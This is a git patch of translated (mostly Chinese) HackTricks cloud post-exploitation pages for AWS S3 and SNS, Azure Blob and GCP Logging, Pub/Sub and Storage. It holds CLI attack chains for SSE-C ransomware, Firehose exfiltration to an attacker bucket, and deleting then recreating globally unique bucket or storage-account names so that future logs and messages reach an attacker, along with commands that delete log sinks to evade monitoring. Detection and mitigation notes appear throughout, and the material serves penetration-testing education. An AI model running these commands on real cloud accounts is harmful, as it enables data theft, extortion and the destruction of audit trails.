From 72fedecc43087c3034a5f011526ed83326e42f88 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 25 Jun 2026 15:59:40 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp --- .../aws-s3-post-exploitation/README.md | 88 +++++++----- .../aws-sns-firehose-exfil.md | 34 +++-- .../az-blob-storage-post-exploitation.md | 39 +++++- .../gcp-logging-post-exploitation.md | 52 +++++-- .../gcp-pub-sub-post-exploitation.md | 81 +++++++---- .../gcp-storage-post-exploitation.md | 58 ++++++-- .../pentesting-cloud-methodology.md | 127 +++++++++++------- 7 files changed, 338 insertions(+), 141 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md index e04bcdc96..b355f457c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -4,7 +4,7 @@ ## S3 -有关更多信息请参见: +更多信息请查看: {{#ref}} ../../aws-services/aws-s3-athena-and-glacier-enum.md @@ -12,37 +12,37 @@ ### Sensitive Information -有时你可以在 buckets 中以可读形式发现敏感信息。例如,terraform state secrets。 +有时你会在 buckets 中找到可读的敏感信息。例如,terraform state secrets。 ### Pivoting -不同平台可能会使用 S3 存储敏感资产。\ -例如,**airflow** 可能在其中存放 **DAGs** **code**,或者 **web pages** 可能直接从 S3 提供服务。具有写权限的攻击者可以从 bucket **modify the code** 以 **pivot** 到其他平台,或通过修改 JS 文件 **takeover accounts**。 +不同平台可能会使用 S3 来存储敏感资产。\ +例如,**airflow** 可能会把 **DAGs** **code** 存在这里,或者 **web pages** 可能会直接从 S3 提供服务。拥有写权限的攻击者可以**修改 bucket 中的 code** 来**pivot** 到其他平台,或者通过修改 JS files 来**takeover accounts**。 ### S3 Ransomware -在该场景中,攻击者会在自己的 AWS 账户或另一个已被攻陷的账户中**创建一个 KMS (Key Management Service) key**。随后他们将该 **key 设为 world-accessible**,允许任何 AWS 用户、角色或账户使用此 key 对对象进行加密。但这些对象无法被解密。 +在这种场景下,**attacker 会在自己的 AWS account** 或另一个已被 compromise 的 account 中创建一个 KMS (Key Management Service) key。然后他们将这个 **key 设为全世界可访问**,允许任何 AWS user、role 或 account 使用这个 key 加密 objects。但这些 objects 无法被解密。 -攻击者识别目标 **S3 bucket 并获得写权限**,方法多种多样。可能是由于 bucket 配置不当导致公开暴露,或攻击者取得了 AWS 环境的访问权限。攻击者通常会针对包含敏感信息的 bucket,例如 PII、PHI、日志、备份等。 +attacker 找到一个目标 **S3 bucket 并获得其写入级别访问权限**,这可以通过多种方式实现。可能是因为糟糕的 bucket 配置导致它被公开暴露,或者 attacker 本身拿到了 AWS environment 的访问权限。attacker 通常会选择包含敏感信息的 buckets,例如 personally identifiable information (PII)、protected health information (PHI)、logs、backups 等。 -为了确定该 bucket 是否可作为 ransomware 目标,攻击者会检查其配置,包括确认是否启用了 **S3 Object Versioning**,以及是否启用了 **multi-factor authentication delete (MFA delete)**。如果未启用 Object Versioning,攻击者即可继续。如果启用了 Object Versioning 但未启用 MFA delete,攻击者可以**disable Object Versioning**。如果两者都启用,则对该 bucket 进行 ransomware 会更困难。 +为了判断 bucket 是否可用于 ransomware,attacker 会检查其配置,包括确认是否启用了 **S3 Object Versioning** 以及是否启用了 **multi-factor authentication delete (MFA delete)**。如果没有启用 Object Versioning,attacker 就可以继续。如果启用了 Object Versioning 但禁用了 MFA delete,attacker 可以**禁用 Object Versioning**。如果 Object Versioning 和 MFA delete 都启用了,那么 attacker 对该特定 bucket 实施 ransomware 就会困难得多。 -使用 AWS API,攻击者会**用他们的 KMS key 替换 bucket 中的每个对象为加密副本**。这会有效地加密 bucket 中的数据,使得没有该 key 的情况下无法访问。 +使用 AWS API,attacker 会用通过自己的 KMS key 加密后的副本**替换 bucket 中的每个 object**。这样实际上就把 bucket 里的数据加密了,没有 key 就无法访问。 -为了增加压力,攻击者会安排删除用于攻击的 KMS key。这会给目标一个 7 天窗口来恢复数据,之后 key 被删除数据将永久丢失。 +为了进一步施压,attacker 会安排删除用于攻击的 KMS key。这会给目标留下 7 天窗口来恢复数据,然后 key 会被删除,数据将永久丢失。 -最后,攻击者可能会上传一个最终文件,通常命名为 "ransom-note.txt",其中包含如何取回文件的说明。该文件通常不加密上传,以便引起目标的注意并告知其遭遇了 ransomware 攻击。 +最后,attacker 还可能上传一个最终文件,通常名为 "ransom-note.txt",其中包含目标如何取回文件的说明。这个文件通常不会加密上传,可能是为了吸引目标注意并让其意识到 ransomware 攻击。 #### SSE-C (Customer-Provided Key) Ransomware (Codefinger-like) -另一种变体是滥用 **SSE-C**(S3 server-side encryption with **customer-provided keys**)。在 SSE-C 中,**客户端在每次请求时提供加密密钥**,**AWS 不会存储该密钥**。这意味着如果攻击者使用**自己的 SSE-C key** 重写对象,被害者的数据会变得不可读,除非被害者能够提供该攻击者控制的 key。 +另一种变体是滥用 **SSE-C** (S3 server-side encryption with **customer-provided keys**)。在 SSE-C 中,**client 会在每次请求时提供 encryption key**,并且 **AWS 不存储这个 key**。这意味着,如果 attacker 使用**自己的 SSE-C key** 重写 objects,除非 victim 能提供那个由 attacker 控制的 key,否则数据就会变得不可读。 -- **Preconditions:** 已泄露的 AWS 凭证(或任何具有相应权限的主体)以及能够**rewrite objects** 的能力(例如对目标 key/prefixes 的 `s3:PutObject`)。这通常还伴随能够设置破坏性 lifecycle 策略的能力(见下文),例如 `s3:PutLifecycleConfiguration`。 +- **Preconditions:** 已被 compromise 的 AWS credentials(或任何拥有正确权限的 principal),以及**重写 objects** 的能力(例如对目标 keys/prefixes 拥有 `s3:PutObject`)。这通常还会配合设置破坏性的 lifecycle policies 的能力(见下文),例如 `s3:PutLifecycleConfiguration`。 - **Attack chain:** -1. 攻击者生成一个随机的 256-bit key (AES-256) 并保存该密钥。 -2. 攻击者使用 SSE-C headers **rewrites** 现有对象(相同的对象 keys),因此存储的对象现在使用攻击者的密钥加密。 -3. 即使 IAM 权限正常,受害者在不提供 SSE-C key 的情况下也无法下载/解密。 -4. 攻击者可以删除该密钥(或根本不提供),使数据无法恢复。 +1. Attacker 生成一个随机的 256-bit key (AES-256) 并保存起来。 +2. Attacker 使用 SSE-C headers **重写** 现有 objects(相同的 object keys),因此存储的 object 现在会使用 attacker 的 key 加密。 +3. Victim 无法在不提供 SSE-C key 的情况下下载/解密,即使 IAM permissions 没问题。 +4. Attacker 可以删除这个 key(或者干脆永远不提供它),使数据无法恢复。 Example (conceptual) CLI usage: ```bash @@ -56,25 +56,25 @@ aws s3 cp s3:/// ./file \ --sse-c AES256 \ --sse-c-key ``` -##### 增加压力:Lifecycle "Timer" Abuse +##### 添加压力:Lifecycle "Timer" Abuse -为了移除恢复选项(例如旧版本),攻击者可以将 SSE-C 重写与 **生命周期规则** 配对,设置对象在短期后过期和/或删除非当前版本: +为了移除恢复选项(如旧版本),攻击者可以将 SSE-C 重写与**生命周期规则**配合使用,让对象在短时间后过期和/或删除非当前版本: -- `s3:PutLifecycleConfiguration` 在 bucket 上允许攻击者安排删除,而无需对每个对象/版本发起显式删除操作。 -- 当 **versioning is enabled** 时尤其具有影响力,因为它可以移除本可用于恢复的“之前的良好版本”。 +- 在 bucket 上的 `s3:PutLifecycleConfiguration` 允许攻击者安排删除,而无需对每个对象/版本显式执行 delete 操作。 +- 这在**启用了 versioning** 时尤其有影响,因为它可以移除“之前的良好版本”,否则该版本本可用于恢复。 -##### 检测与缓解 +##### Detection & Mitigations -- 除非有充分的运维理由需要允许 SSE-C,否则优先使用 **SSE-KMS**(或 SSE-S3)替代 SSE-C。 -- 监控/告警使用 SSE-C 头的 `PutObject` 请求(S3 的 CloudTrail 数据事件)。 -- 监控/告警意外的 `PutBucketLifecycleConfiguration`(生命周期更改)。 -- 监控/告警覆盖活动的突增(相同 key 被快速更新)以及 delete-marker/版本删除。 -- 限制高风险权限:将 `s3:PutObject` 限制到必要的前缀;严格限制 `s3:PutLifecycleConfiguration` 和 `s3:PutBucketVersioning`;考虑对敏感管理操作(如适用)要求 MFA,并使用带审批的独立管理员角色。 -- 恢复策略:使用 **versioning**、**backups** 和 不可变/离线副本(例如将 S3 replication 到受保护账号、备份库等);保护非当前版本免受激进删除,并通过 SCPs / guardrails 约束生命周期更改。 +- 优先使用 **SSE-KMS**(或 SSE-S3)而不是 SSE-C,除非你有很强的运维理由允许 SSE-C。 +- 监控/告警使用 SSE-C headers 的 `PutObject` 请求(S3 的 CloudTrail data events)。 +- 监控/告警意外的 `PutBucketLifecycleConfiguration`(lifecycle 变更)。 +- 监控/告警突然激增的覆盖写入活动(相同 key 被快速更新)以及 delete-marker/version 删除。 +- 限制高风险权限:将 `s3:PutObject` 限制到必要的 prefixes;严格限制 `s3:PutLifecycleConfiguration` 和 `s3:PutBucketVersioning`;在适用时考虑对敏感管理操作要求 MFA,并使用带审批的独立 admin roles。 +- 恢复姿态:使用 **versioning**、**backups** 和不可变/离线副本(S3 复制到受保护的 account、backup vaults 等);保护 noncurrent versions 免受激进删除,并用 SCPs / guardrails 保护 lifecycle 变更。 ### `s3:RestoreObject` -拥有 s3:RestoreObject 权限的攻击者可以重新激活存档在 Glacier 或 Deep Archive 的对象,使其暂时可访问。这使得恢复并 exfiltration 历史归档数据(backups、snapshots、logs、certifications、old secrets)成为可能,这些数据通常不可获取。如果攻击者将此权限与读取权限(例如 s3:GetObject)结合,则可以获取敏感数据的完整副本。 +拥有 `s3:RestoreObject` 权限的攻击者可以重新激活存放在 Glacier 或 Deep Archive 中的对象,使其暂时可访问。这使得攻击者能够恢复并 exfiltration 历史归档数据(backups、snapshots、logs、certifications、旧 secrets),而这些数据通常无法直接获取。如果攻击者将此权限与读取权限(例如 `s3:GetObject`)结合使用,就可以获取敏感数据的完整副本。 ```bash aws s3api restore-object \ --bucket \ @@ -86,7 +86,7 @@ aws s3api restore-object \ ``` ### `s3:Delete*` -拥有 s3:Delete* 权限的攻击者可以删除对象、版本和整个存储桶,破坏备份,并导致立即且不可逆的数据丢失、证据销毁,以及备份或恢复工件被破坏或泄露。 +拥有 `s3:Delete*` 权限的攻击者可以删除 objects、versions 和整个 buckets,破坏 backups,并导致立即且不可逆的数据丢失、证据销毁,以及 backup 或 recovery artifacts 被破坏。 ```bash # Delete an object from a bucket aws s3api delete-object \ @@ -103,6 +103,34 @@ aws s3api delete-object \ aws s3api delete-bucket \ --bucket ``` -**更多信息** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +### autonomous writers 的全局 bucket name 接管 - `s3:DeleteBucket` + +S3 bucket names 是全局唯一的。如果受害者账户有自动化写入器持续向 `arn:aws:s3:::` 发送数据,而攻击者可以清空/删除该 bucket,攻击者就可能在自己控制的账户中重新创建同名 bucket,并在不更改上游服务配置的情况下接收后续投递的数据。 + +需要重点检查的目标包括 S3 replication destinations、Kinesis Data Firehose delivery streams、会落地到 S3 的 CloudWatch Logs/SNS/WAF delivery chains,以及自定义 backup 或 export jobs。 +```bash +# Review S3 replication destinations on source buckets +aws s3api get-bucket-replication --bucket + +# Review Firehose S3 destinations +aws firehose describe-delivery-stream \ +--delivery-stream-name + +# Empty and delete the target bucket, if permitted +aws s3 rm s3:// --recursive +aws s3api delete-bucket --bucket + +# Recreate the same globally-unique name in the attacker account +aws s3 mb s3:// --region +``` +替换后的 bucket policy 必须允许上游 writer 放入 objects。确切的 principal 取决于 service:例如 IAM replication role、Firehose delivery role,或者使用 `aws:SourceArn` / `aws:SourceAccount` 约束的 service principal。 + +**Potential Impact:** 将未来被 replicated 的 objects、logs、telemetry、backups 和 pipeline artifacts 静默 exfiltration 到 attacker-controlled 的 AWS account。 + +**Detection & Mitigation:** 对被 replication rules 或 delivery streams 引用的 buckets 删除行为进行告警,监控随后出现的 `NoSuchBucket` delivery failures 和 bucket recreation,限制导出 destinations 上的 `s3:DeleteBucket`,并通过严格的 bucket policies 和 ownership expectations 固定 cross-account deliveries。 + + + +**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md index 88ab0dc67..5f03c0ecc 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md @@ -2,14 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -滥用 Firehose 订阅协议,在受害者的 SNS 标准主题上注册一个由攻击者控制的 Kinesis Data Firehose delivery stream。订阅建立并且所需的 IAM 角色信任 `sns.amazonaws.com` 后,后续的每条通知都会被持久地写入攻击者的 S3 存储桶,且产生的噪音最小。 +滥用 Firehose subscription protocol,在受害者的 SNS standard topic 上注册一个由攻击者控制的 Kinesis Data Firehose delivery stream。一旦订阅建立,并且所需的 IAM role 信任 `sns.amazonaws.com`,之后每一条通知都会以很低的噪声被持久写入攻击者的 S3 bucket。 -## 要求 -- 攻击者账户中用于创建 S3 存储桶、Firehose delivery stream 和 Firehose 使用的 IAM 角色的权限(`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, 等)。 -- 能够对受害者主题执行 `sns:Subscribe`(如果在创建后提供 subscription role ARN,则可选需要 `sns:SetSubscriptionAttributes`)。 -- 一个允许攻击者主体订阅的 topic policy(或攻击者已在相同账号内)。 +## Requirements +- 在攻击者账号中拥有创建 S3 bucket、Firehose delivery stream,以及 Firehose 使用的 IAM role 的权限(`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, 等)。 +- 能够对受害者 topic 执行 `sns:Subscribe`(如果 subscription role ARN 在创建后提供,则还可选 `sns:SetSubscriptionAttributes`)。 +- 一个允许攻击者 principal 进行 subscribe 的 topic policy(或者攻击者已经在同一账号内操作)。 -## 攻击步骤(同账号示例) +## Attack Steps (same-account example) ```bash REGION=us-east-1 ACC_ID=$(aws sts get-caller-identity --query Account --output text) @@ -67,10 +67,24 @@ aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --regio sleep 90 aws s3 ls s3://$ATTACKER_BUCKET/ --recursive ``` -## 清理 -- 删除 SNS 订阅、Firehose delivery stream、临时 IAM 角色/策略,以及攻击者的 S3 bucket。 +## Cleanup +- Delete the SNS subscription, Firehose delivery stream, temporary IAM roles/policies, and attacker S3 bucket. -## 影响 -**潜在影响**:对目标 SNS topic 上发布的每条消息进行持续、持久的 exfiltration,将其写入攻击者控制的存储中,且几乎没有操作痕迹。 +## Impact +**Potential Impact**: 持续、持久地 exfiltrate 发送到目标 SNS topic 的每一条消息,并且操作痕迹极小。 + +## Related Bucket-Name Hijack Variant + +If an existing SNS -> Firehose -> S3 chain already writes to a bucket and the attacker can delete that bucket, they may be able to recreate the same globally-unique S3 bucket name in an attacker-controlled account. Future Firehose deliveries can then land in the replacement bucket without changing the SNS subscription or Firehose stream configuration. +```bash +# Identify the Firehose S3 destination +aws firehose describe-delivery-stream \ +--delivery-stream-name \ +--query 'DeliveryStreamDescription.Destinations[].S3DestinationDescription' + +# After deleting the original bucket, recreate the same name in the attacker account +aws s3 mb s3:// --region +``` +将 Firehose delivery role 授予对替换 bucket 的访问权限,如果该 role 可以跨账户写入。监控 Firehose destinations 上的 bucket deletion、delivery failures,以及意外的 bucket ownership changes。 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md index 6336ed7c8..93fd142b3 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md @@ -1,10 +1,10 @@ -# Az - Blob Storage Post Exploitation +# Az - Blob Storage 后利用 {{#include ../../../banners/hacktricks-training.md}} ## Storage Privesc -有关存储的更多信息,请查看: +有关 storage 的更多信息,请查看: {{#ref}} ../az-services/az-storage.md @@ -12,7 +12,7 @@ ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read` -具有此权限的主体将能够**列出**容器内的 blob(文件)并**下载**可能包含**敏感信息**的文件。 +拥有此权限的 principal 将能够 **list** 容器中的 blobs(文件)并 **download** 这些文件,其中可能包含 **敏感信息**。 ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read az storage blob list \ @@ -26,7 +26,7 @@ az storage blob download \ ``` ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write` -具有此权限的主体将能够**在容器中写入和覆盖文件**,这可能使他造成一些损害甚至提升权限(例如,覆盖存储在 blob 中的某些代码): +拥有此权限的 principal 将能够**在 containers 中写入和覆盖文件**,这可能使其造成一些破坏,甚至提升权限(例如:覆盖存储在 blob 中的某些代码): ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write az storage blob upload \ @@ -36,6 +36,35 @@ az storage blob upload \ ``` ### \*/delete -这将允许删除存储帐户中的对象,这可能会**中断某些服务**或使客户端**丢失重要信息**。 +这将允许删除 storage account 内的对象,可能会**中断某些服务**,或使 client **丢失有价值的信息**。 + +### Storage account name takeover of diagnostic exports + +Azure Storage account names 是全局唯一的。一些 autonomous exports,例如 Azure Monitor diagnostic settings,会持续将 logs 或 metrics 写入到配置的 storage account。如果 attacker 能删除该 storage account,并在同一 tenant 中的 attacker-controlled subscription 里重新创建同名 storage account,那么未来导出的 telemetry 可能会在不修改 diagnostic setting 的情况下被发送到替代 account。 + +当 attacker 拥有诸如 `Microsoft.Storage/storageAccounts/delete` 之类的 destructive permissions,但无法更新被监控的 resource 或其 diagnostic settings 时,这一点尤其有趣。 + +这要求 storage account name 释放以便复用。实际上,Azure storage account soft delete / recovery protections 可能会延迟或阻止立即复用,尤其是在跨 tenant 的情况下。 +```bash +# Find diagnostic settings that write to a storage account +az monitor diagnostic-settings list \ +--resource \ +--query '[].{name:name,storageAccountId:storageAccountId}' + +# Delete the storage account, if permitted +az storage account delete \ +--name \ +--resource-group + +# Recreate the same globally-unique storage account name +az storage account create \ +--name \ +--resource-group \ +--location \ +--sku Standard_LRS +``` +**潜在影响:** 长期 exfiltration 未来的 logs、metrics、audit data 和 diagnostic archives 到由攻击者控制的 subscription。 + +**Detection & Mitigation:** 对 diagnostic settings 引用的 storage accounts 的删除进行告警,inventory 具有 `storageAccountId` 的 diagnostic settings,monitor 悬空的 destinations,并严格限制对 logging/archive storage accounts 的 destructive permissions。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md index 593994fc3..d59aba5cd 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## 基本信息 +## Basic Information 更多信息请查看: @@ -10,25 +10,25 @@ ../gcp-services/gcp-logging-enum.md {{#endref}} -有关其他中断监控的方法,请查看: +关于其他干扰监控的方法请查看: {{#ref}} gcp-monitoring-post-exploitation.md {{#endref}} -### 默认日志记录 +### Default Logging -**默认情况下,仅执行读取操作通常不会被发现。更多信息请参见 Logging Enum 部分。** +**默认情况下,仅执行 read actions 不会被抓到。更多信息请查看 Logging Enum 部分。** -### 添加被排除的主体 +### Add Excepted Principal -在 [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) 和 [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) 可以添加主体以使其不生成日志。攻击者可能滥用此功能以避免被发现。 +在 [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) 和 [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) 中,可以添加 principals 以不生成 logs。攻击者可能会滥用这一点来避免被抓到。 -### 读取日志 - `logging.logEntries.list` +### Read logs - `logging.logEntries.list`
-读取日志条目 +Read log entries ```bash # Read logs gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json @@ -66,7 +66,7 @@ gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
-更新日志存储桶保留期限 +更新日志 bucket 保留期 ```bash # Set retention period to 1 day (_Required has a fixed one of 400days) @@ -78,7 +78,7 @@ gcloud logging buckets update bucketlog --location= --description="New
-删除日志存储桶 +删除日志 bucket ```bash # Delete log bucket gcloud logging buckets delete BUCKET_NAME --location= @@ -144,7 +144,7 @@ gcloud logging metrics delete
-删除 log sink +删除日志 sink ```bash # Delete sink - logging.sinks.delete gcloud logging sinks delete @@ -155,7 +155,7 @@ gcloud logging sinks delete
-更新/中断 log sink +更新/破坏 log sink ```bash # Disable sink - logging.sinks.update gcloud logging sinks update --disabled @@ -178,4 +178,32 @@ gcloud logging sinks update SINK_NAME --no-use-partitioned-tables ```
+### Cloud Logging sink bucket-name hijack - `storage.buckets.delete` + +Cloud Logging sink 可以持续将日志导出到 Cloud Storage 目标,例如 `storage.googleapis.com/` 或 `storage.googleapis.com//`。如果攻击者可以删除目标 bucket,但不能更新 sink,他们仍然可能通过在攻击者控制的 project 中重新创建同一个全局唯一的 bucket 名称,来重定向未来导出的日志。 + +当被 compromise 的 principal 拥有诸如 `storage.buckets.delete`、`storage.objects.delete` 和 `storage.objects.list` 之类的 destructive storage 权限,但没有 `logging.sinks.update` 时,这很有用。 +```bash +# Find sinks that export to Cloud Storage +gcloud logging sinks list --project \ +--format='table(name,destination,disabled,writerIdentity)' + +# Empty and delete the destination bucket, if permitted +gcloud storage rm -r gs:// + +# Recreate the same bucket name in the attacker-controlled project +gcloud storage buckets create gs:// \ +--project \ +--location + +# Allow the sink writer identity to write objects into the replacement bucket +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='serviceAccount:' \ +--role='roles/storage.objectCreator' \ +--project +``` +**Potential Impact:** 对未来审计日志、应用日志、安全遥测以及任何与 sink filter 匹配的其他事件进行静默的长期 exfiltration。 + +**Detection & Mitigation:** 对被 active sinks 引用的 buckets deletion 发出告警,清点 sink destinations 中是否存在悬空的 bucket names,限制 logging destinations 上的 `storage.buckets.delete`,并在可能的情况下使用 retention/hold controls 保护 export buckets。 + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md index 738eb6725..b4861a92e 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md @@ -12,11 +12,11 @@ ### `pubsub.topics.publish` -在主题中发布消息, useful to **发送意外数据** 并触发意外功能或利用漏洞: +在 topic 中发布消息,可用于**发送意外数据**并触发意外功能或利用漏洞:
-向主题发布消息 +Publish message to topic ```bash # Publish a message in a topic gcloud pubsub topics publish --message "Hello!" @@ -25,11 +25,11 @@ gcloud pubsub topics publish --message "Hello!" ### `pubsub.topics.detachSubscription` -可用于阻止订阅接收消息,可能用于避免被检测。 +用于阻止 subscription 接收 messages,可能可用于避免 detection。
-从主题分离订阅 +将 subscription 从 topic 分离 ```bash gcloud pubsub topics detach-subscription ``` @@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription ### `pubsub.topics.delete` -可用于阻止订阅接收消息,可能用于规避检测。\ -即使有订阅附着在主题上,也可以删除该主题。 +有助于阻止 subscription 接收消息,可能用于避免 detection。\ +即使附加了 subscription,也可以删除 topic。
-删除主题 +Delete topic ```bash gcloud pubsub topics delete ``` @@ -50,11 +50,11 @@ gcloud pubsub topics delete ### `pubsub.topics.update` -使用此权限可更新主题的某些设置以使其中断,例如 `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`... +使用此权限更新 topic 的某些设置以破坏它,例如 `--clear-schema-settings`、`--message-retention-duration`、`--message-storage-policy-allowed-regions`、`--schema`、`--schema-project`、`--topic-encryption-key`... ### `pubsub.topics.setIamPolicy` -为自己赋予执行之前任何攻击的权限。 +给自己权限以执行前面的任何攻击。 ```bash # Add Binding gcloud pubsub topics add-iam-policy-binding \ @@ -84,7 +84,7 @@ gcloud pubsub topics set-iam-policy \ ``` ### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`) -在 web 服务器上获取所有消息: +获取 web server 中的所有消息:
@@ -95,11 +95,11 @@ gcloud pubsub subscriptions create --topic --pu ```
-创建一个 subscription 并用它来 **pull messages**: +创建一个 subscription 并使用它来 **pull messages**:
-创建 pull subscription 并检索 messages +创建 pull subscription 并检索消息 ```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions create --topic @@ -112,11 +112,11 @@ gcloud pubsub subscriptions pull ### `pubsub.subscriptions.delete` -**删除订阅** 可能有助于中断日志处理系统或类似系统: +**Delete a subscription** 可能有助于破坏日志处理系统或类似的东西:
-删除订阅 +Delete subscription ```bash gcloud pubsub subscriptions delete ``` @@ -124,24 +124,57 @@ gcloud pubsub subscriptions delete ### `pubsub.subscriptions.update` -使用此权限更新某些设置,使消息存储在你可以访问的位置(URL, Big Query table, Bucket),或只是用来中断它。 +使用此权限来更新某些设置,使消息存储在你可以访问的位置(URL、Big Query table、Bucket),或者仅仅用来破坏它。
-更新订阅端点 +Update subscription endpoint ```bash gcloud pubsub subscriptions update --push-endpoint ```
+### Cloud Storage subscription bucket-name hijack - `storage.buckets.delete` + +Pub/Sub subscriptions can write delivered messages into Cloud Storage buckets. If a subscription keeps pointing to `gs://` and an attacker can delete that bucket, the attacker may recreate the same globally-unique bucket name in another project and receive future messages without changing the subscription. + +This can be valuable when the attacker cannot use `pubsub.subscriptions.update`, but can delete the destination bucket with permissions such as `storage.buckets.delete`, `storage.objects.delete`, and `storage.objects.list`. +```bash +# Find Cloud Storage subscriptions and their destinations +gcloud pubsub subscriptions list --project \ +--format='json(name,topic,cloudStorageConfig)' + +# Empty and delete the destination bucket +gcloud storage rm -r gs:// + +# Recreate the same bucket name under attacker control +gcloud storage buckets create gs:// \ +--project \ +--location + +# Grant the Pub/Sub service agent write access if delivery requires it +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='serviceAccount:service-@gcp-sa-pubsub.iam.gserviceaccount.com' \ +--role='roles/storage.objectCreator' \ +--project + +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='serviceAccount:service-@gcp-sa-pubsub.iam.gserviceaccount.com' \ +--role='roles/storage.legacyBucketReader' \ +--project +``` +**Potential Impact:** exfiltration of future Pub/Sub messages archived to Cloud Storage, including application events, failed pipeline payloads, logs, or data lake ingestion records. + +**Detection & Mitigation:** alert on deletion of buckets used by Pub/Sub subscriptions, review subscriptions with `cloudStorageConfig`, watch for delivery errors followed by bucket recreation, and limit destructive access on message archival buckets. + ### `pubsub.subscriptions.setIamPolicy` -为自己授予执行之前提到的任何攻击所需的权限。 +Give yourself the permissions needed to perform any of the previously commented attacks. ### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`) -将 schema 附加到 topic,使消息无法满足该 schema,从而导致 topic 中断。\ -如果没有任何 schema,你可能需要创建一个。 +Attack a schema to a topic so the messages doesn't fulfil it and therefore the topic is disrupted.\ +If there aren't any schemas you might need to create one.
@@ -174,11 +207,11 @@ gcloud pubsub topics update projects//topics/ \ ### `pubsub.schemas.delete` -这看起来像是删除一个 schema 后你将能够发送不符合该 schema 的 messages。然而,由于 schema 会被删除,实际上不会有 message 进入该 topic。因此这是**无用**: +这看起来像是删除一个 schema,这样你就可以发送不符合 schema 的消息。然而,由于 schema 会被删除,实际上不会有任何消息真正进入 topic。所以这**没用**:
-删除 schema(无用) +Delete schema (not useful) ```bash gcloud pubsub schemas delete ``` @@ -186,15 +219,15 @@ gcloud pubsub schemas delete ### `pubsub.schemas.setIamPolicy` -为自己授予执行之前提到的任何攻击所需的权限。 +给自己授予执行前面提到的任何攻击所需的权限。 ### `pubsub.snapshots.create`, `pubsub.snapshots.seek` -这将为所有未 ACK(unACKed)的消息创建一个快照并将它们放回订阅。对攻击者来说不是很有用,但这里是: +这会创建所有未 ACK 的消息的 snapshot,并将它们放回 subscription。对攻击者来说不是很有用,但这里是:
